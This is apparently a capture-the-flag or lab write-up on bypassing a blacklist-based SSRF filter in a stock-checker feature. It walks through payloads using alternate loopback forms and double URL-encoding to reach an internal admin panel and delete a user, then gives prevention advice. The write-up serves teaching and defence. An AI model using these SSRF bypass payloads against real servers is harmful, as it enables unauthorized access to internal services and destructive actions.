July 21, 2026
SSRF with Blacklist-Based Input Filter:Write-up
Theory

By Anubhav_bora
3 min read
Theory
Some applications try to block SSRF by blacklisting known-sensitive strings like 127.0.0.1, localhost, or /admin. These filters are usually naive string-matchers, not real network-layer controls, so they can be bypassed with:
Alternative IP representations of 127.0.0.1 — e.g. 2130706433 (decimal), 017700000001 (octal), or 127.1 (short form).
A domain you control that resolves to 127.0.0.1 — e.g. spoofed.burpcollaborator.net.
Obfuscating blocked strings via URL encoding or case variation (%61dmin, LocalHost, etc.).
Open redirects — send the request to a URL you control that 302/301s to the real target, sometimes switching protocols (http → https) mid-redirect to slip past the filter.
Challenge
Title: Internal Stock Checker Category: Web / SSRF Scenario: An e-commerce site has a "Check stock" feature that takes a URL as input and fetches it server-side to display stock data. The backend blocks requests containing 127.0.0.1, localhost, and admin to prevent access to the internal admin panel — but the filter is just a string blacklist.
Goal: Reach the internal admin panel and delete the user carlos.
Steps to Solve
1. Find the injection point Browse the product page and click Check stock. Intercept the resulting request in Burp Suite:
POST /product/stock HTTP/1.1
Host: target.com
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1POST /product/stock HTTP/1.1
Host: target.com
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1Send it to Repeater.
2. Try the obvious payloads Replace stockApi with internal targets:
stockApi=http://127.0.0.1/admin
stockApi=http://localhost/adminstockApi=http://127.0.0.1/admin
stockApi=http://localhost/adminBoth get blocked — the filter matches 127.0.0.1, localhost, and admin as literal strings.
3. Bypass the hostname filter Swap the IP for an alternate representation (decimal, octal, or short form all work) since the blacklist only checks for the literal dotted-quad/localhost string:
stockApi=http://2130706433/adminstockApi=http://2130706433/adminor
stockApi=http://127.1/adminstockApi=http://127.1/adminThis gets past the hostname check — but /admin is still caught.
4. Bypass the path filter URL-encode part of the path to dodge the literal string match on admin:
stockApi=http://127.1/%61dminstockApi=http://127.1/%61dminFirst attempt with a single encoding pass may still get flagged if the server decodes it before matching. Apply the encoding again (double-encode the character):
stockApi=http://127.1/%2561dminstockApi=http://127.1/%2561dminThis time the request goes through and the internal admin panel HTML is reflected back in the response.
5. Enumerate the admin panel From the reflected response, locate the delete-user endpoint, e.g.:
/admin/delete?username=carlos/admin/delete?username=carlos
6. Trigger the delete Swap the stockApi value to point at that endpoint:
stockApi=http://127.1/%2561dmin/delete?username=carlosstockApi=http://127.1/%2561dmin/delete?username=carlosSend the request in Repeater.
7. Confirm Reload the site — user carlos is deleted. Challenge solved. ✅
Why this worked
- The IP blacklist only matched the literal string
127.0.0.1/localhost, so127.1(a valid short-form loopback address) sailed through. - The path blacklist matched
adminas plain text, but the app decoded percent-encoding once before the filter ran and again before routing — so a double-encoded%2561dminsurvived the filter check but still resolved to/adminby the time it reached the routing layer.
How to Prevent This SSRF (Brief)
- Use an allowlist, not a blacklist — only permit specific approved domains/IPs for outbound requests, instead of trying to block known-bad ones.
- Resolve before validating — resolve the hostname to an IP first, then check that IP against disallowed ranges (loopback, RFC 1918 private ranges, link-local
169.254.x.x). Never validate the raw string alone. - Re-check on every redirect — disable auto-follow redirects, or re-validate the destination IP at each hop, since a "safe" public URL can redirect to an internal one.
- Normalize before checking — fully URL-decode (repeatedly, until stable) and canonicalize input before running any filter, so encoded/double-encoded payloads can't slip through.
- Restrict at the network layer too — use firewall rules/network segmentation so the app server simply cannot reach internal services like the admin panel, regardless of app-level checks.
- Least privilege for the fetching service — if it only needs to talk to a stock API, restrict its egress to that API's IP/port and nothing else.